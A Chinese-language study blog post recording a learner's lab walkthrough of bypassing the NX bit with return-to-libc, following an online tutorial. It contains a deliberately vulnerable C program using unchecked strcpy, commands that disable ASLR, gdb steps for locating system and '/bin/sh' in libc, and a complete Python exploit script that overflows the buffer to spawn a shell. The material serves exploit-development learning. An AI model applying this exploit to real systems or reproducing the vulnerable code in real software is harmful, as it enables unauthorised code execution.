跟随教程https://sploitfun.wordpress.com/2015/
此次实验参考https://sploitfun.wordpress.com/2015/05/08/bypassing-nx-bit-using-return-to-libc/
又看到一个好的博客,也是栈溢出系列:https://www.ret2rop.com/2018/08/return-to-libc.html
NX保护机制
NX保护机制原则为可写与可执行互斥,这就导致我们之前在栈上的shellcode不可以被执行,因此我们采用return2libc进行攻击
实验环境
Ubuntu12.04
漏洞代码:
//vuln.c
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
char buf[256]; /* [1] */
strcpy(buf,argv[1]); /* [2] */
printf("%s\n",buf); /* [3] */
fflush(stdout); /* [4] */
return 0;
}
较于之前的漏洞代码,增加了fflush函数的调用,主要是为了向我们提供sh字符串。
编译命令
#echo 0 > /proc/sys/kernel/randomize_va_space
$gcc -g -fno-stack-protector -o vuln vuln.c
去除了-z execstack
这一编译命令,表示开启NX保护机制。
我们可以用一下命令来查看栈上代码是否可执行
$ readelf -l vuln
...
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
INTERP 0x000154 0x08048154 0x08048154 0x00013 0x00013 R 0x1
[Requesting program interpreter: /lib/ld-linux.so.2]
LOAD 0x000000 0x08048000 0x08048000 0x00678 0x00678 R E 0x1000
LOAD 0x000f14 0x08049f14 0x08049f14 0x00108 0x00118 RW 0x1000
DYNAMIC 0x000f28 0x08049f28 0x08049f28 0x000c8 0x000c8 RW 0x4
NOTE 0x000168 0x08048168 0x08048168 0x00044 0x00044 R 0x4
...
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4
GNU_RELRO 0x000f14 0x08049f14 0x08049f14 0x000ec 0x000ec R 0x1
$
可以看到GNU_STACK权限字段没有X(X表示可执行)。如果安装了gdb peda插件,我们可以用checksec命令查看该代码的保护机制:
Return2Libc思想
为了绕过NX保护机制,我们此次采用Return2Libc技术,主要思想就是之前的return address改成我们shellcode的起始地址,但那个是属于栈地址,现在我们找一个可执行的函数,把他的地址放在return address那里,如果需要的话,再给他传个参数,通常这个函数我们用libc里面的函数,如system、execv等,此次我们通过调用system(’/bin/sh’)函数来获取shell权限。
本次攻击需要以下三步:
-
找到buf起始地址到返回地址的空间大小
参见栈溢出学习(一)
-
找到system的地址
-
找到libc起始地址和system偏移地址
-
ldd vuln
找到libc起始地址 -
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
-
-
通过gdb直接找到system地址(注意需要先运行程序)
gdb-peda$ p system $1 = {<text variable, no debug info>} 0xb7e5f460 <system>
其实可以看到第一个方法得到的起始地址 + 偏移地址和第二个方法直接得到的system地址不一致,原因todo
通常我们在gdb-peda中使用
vmmap
(也要先运行程序)或者gdb中如果没有插件在gdb中info proc mapping
查看动态链接库地址,这里具有x权限的是我们想要的,他的起始地址为0xb7e20000,加上上一步read -s得到的偏移地址0x0003f460,就等于p system直接得到的0xb7e5f460啦。 -
-
找到参数"/bin/sh"的地址
-
暴力搜索
(gdb) x/500s $esp
在栈中找一下"/bin/sh"字段,可以找到存在"/bin/bash"字段。SHELL=占了6个字节,因此我们"/bin/bash"起始地址为0xbffff581
但这个地址对我不管用🤣
-
export 环境变量
$ export pwn_sh="/bin/sh" $ echo $pwn_sh $ ./gtenv pwn_sh
这个是别的教程给的,但是./gtenv我没有办法运行,又在其他教程中看到自己编写C程序,获取环境变量地址
#!cpp #include <stdio.h> #include <stdlib.h> int main(int argc, char *argv[]) { char *addr; addr = getenv(argv[1]); printf("%s is located at %p\n", argv[1], addr); return 0; }
我们可以运行该程序```./a.out pwn_sh
但是这个地址还是没成功😂
-
直接在libc中寻找"/bin/sh"字段
find "/bin/sh"
第一个在libc中的可以使用,但是第二个在栈中的不可以使用(我一直觉得栈中的东西不靠谱,可能和调试的时候栈地址和实际运行是栈地址的不同导致的吧)。
-
有的教程用这个命令找到
searchmem "/bin/sh" libc
,但是我没找到😂 -
还有的教程先用指令
strings -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"
找到"/bin/sh"的偏移地址,然后和刚才vmmap找到的起始地址相加,获取libc中"/bin/sh"的地址可以通过gdb调试查看0xb7e20000+0x161ff8地址处确实存放"/bin/sh"
0xb7e20000+0x161ff8 = 0xb7f81ff8(和我们
find "/bin/sh"
找到的libc中地址一样)
-
开始利用漏洞
#exp.py
#!/usr/bin/env python
import struct
from subprocess import call
#Since ALSR is disabled, libc base address would remain constant and hence we can easily find the function address we want by adding the offset to it.
#For example system address = libc base address + system offset
#where
#libc base address = 0xb7e22000 (Constant address, it can also be obtained from vmmap)
#system offset = 0x0003f060 (obtained from "readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system")
# libc_base_address = 0xb7e20000
# system_offset = 0x0003f460
# exit_offset = 0x00032fe0
# system = libc_base_address + system_offset #0xb7e2000+0x0003f060
system = 0xb7e5f460
# exit = libc_base_address + exit_offset #0xb7e2000+0x00032be0
exit = 0xb7e52fe0
#system_arg points to 'sh' substring of 'fflush' string.
#To spawn a shell, system argument should be 'sh' and hence this is the reason for adding line [4] in vuln.c.
#But incase there is no 'sh' in vulnerable binary, we can take the other approach of pushing 'sh' string at the end of user input!!
system_arg = 0xb7f81ff8 #(obtained from hexdump output of the binary)
#endianess conversion
def conv(num):
return struct.pack("<I",num)
# Junk + system + exit + system_arg
buf = "A" * 268
buf += conv(system)
buf += conv(exit)
buf += conv(system_arg)
print "Calling vulnerable program"
call(["./vuln", buf])
成功截图
思考:
-
ldd显示的基地址然后加上偏移和p system地址不一致
看了一通解释,码住了一个看不太懂链接:https://reverseengineering.stackexchange.com/questions/6657/why-does-ldd-and-gdb-info-sharedlibrary-show-a-different-library-base-addr
反正ldd不可信就完事了。
-
ldd的动态链接库和vmmap显示的动态库不一样
ldd链接出来的
/lib/i386-linux-gnu/libc.so.6
只是vmmap中libc-2.15.so
的符号链接罢了This is not a library, but a linker script file, which refers to the above symlinks.
Why do we need all these:
First, regardless of libc version installed, the linker will always search for
libc.so
, because the compiler driver will always pass to the linker the-lc
options. The namelibc
stays the same and denotes to most recent version of the library.The symlinks
libc.so.6
are named after the soname of the library, which, more or less corresponds to the ABI version of the library. The executables, linked againstlibc.so
in fact contain runtime dependencies onlibc.so.6
.If we imagine the someday a grossly ABI incompatible libc is released, it’s soname could be named
libc.so.7
, for example and this version coukld coexists with the olderlibc.so.6
version, thus executables linked against one or the other can coexist in the same system,And finally, the name
libc-2.15.so
refers to the libc release, when you install a new libc package, the name will change tolibc-2.16.so
. Provided that it is binary compatible with the previous release, thelibc.so.6
link will stay named that way and the existing executables will continue to work. -
/bin/sh怎么找
最好不用栈上的"/bin/sh",直接在libc里面找,不开ASLR,其地址是确定的。
-
调试地址和真实运行地址不一样疑惑点
GDB加入了一些调试信息或者环境变量的东西,导致内存格局不一样
如果在python脚本中使用
gdb.attach(r)
这种语句,显示的esp地址应该就是一致的(尚未证实)